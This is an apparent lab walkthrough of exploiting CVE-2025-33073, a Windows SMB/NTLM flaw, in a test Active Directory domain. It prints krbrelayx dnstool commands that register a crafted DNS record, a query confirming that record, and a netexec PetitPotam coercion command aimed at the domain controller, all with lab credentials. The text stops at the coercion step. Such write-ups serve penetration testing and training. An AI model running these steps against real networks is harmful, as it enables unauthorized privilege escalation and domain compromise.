Description

CVE-2025-33073 is a flaw in the Windows file-sharing login (SMB / NTLM) that lets a low-privilege network user elevate to administrator on Windows machines. Microsoft fixed it in June 2025. We will walk ourselves on how to exploit this vulnerability. As a penetration tester, you would have come across this vulnerability but never exploited it cause SMB signing is enabled. This time i will walk us on how to exploit it and get that domain admin acess.

CVE

CVE-2025-33073

Steps to exploit

Step 1: checking and validating the vulnerability with netexec

Confirm SMB is runnig and you have your low privilege user ready.

check for coerce_plus vulnerability using the nxc module.

Step 2: register a dns record and make it point to our attacker

┌──(n16hth4wk㉿n16hth4wk-sec)-[~/Documents/GOAD/krbrelayx]
└─$ python dnstool.py -u 'north.sevenkingdoms.local\lowuser' -p 'Password123' 192.168.56.11 -a add -d 192.168.56.1 -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA'
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

the malicious record name localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

validate the registered dns record that was created

┌──(n16hth4wk㉿n16hth4wk-sec)-[~/Documents/GOAD/krbrelayx]
└─$ python dnstool.py -u 'north.sevenkingdoms.local\lowuser' -p 'Password123' 192.168.56.11 -a query -d 192.168.56.1 -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA'
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found record localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
DC=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA,DC=north.sevenkingdoms.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=north,DC=sevenkingdoms,DC=local
[+] Record entry:
 - Type: 1 (A) (Serial: 41)
 - Address: 192.168.56.1

Step 3: Fire up listener using impacket-ntlmrelayx

Step 4: Trick the domain controller into probbing our attacker machine (COERCION)

nxc smb 192.168.56.11 -d north.sevenkingdoms.local -u lowuser -p Password123 -M coerce_plus -o M=PetitPotam L='localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA'